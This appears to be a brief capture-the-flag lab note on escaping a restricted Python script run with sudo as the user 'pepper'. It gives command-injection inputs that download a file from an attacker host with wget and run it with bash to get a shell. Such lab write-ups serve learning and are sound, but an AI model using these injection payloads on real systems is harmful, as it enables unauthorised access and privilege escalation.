I was allowed to use a python script with sudo as pepper user.
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
it was a python3/bash jail.
broke the jail with
Enter an IP: 10.10.14.27 $(wget http://10.10.14.27/index.html)
Enter an IP: 10.10.14.27 $(bash /tmp/index.html)
It first gave me shell. and if my shell completes then it will ping the ip I gave.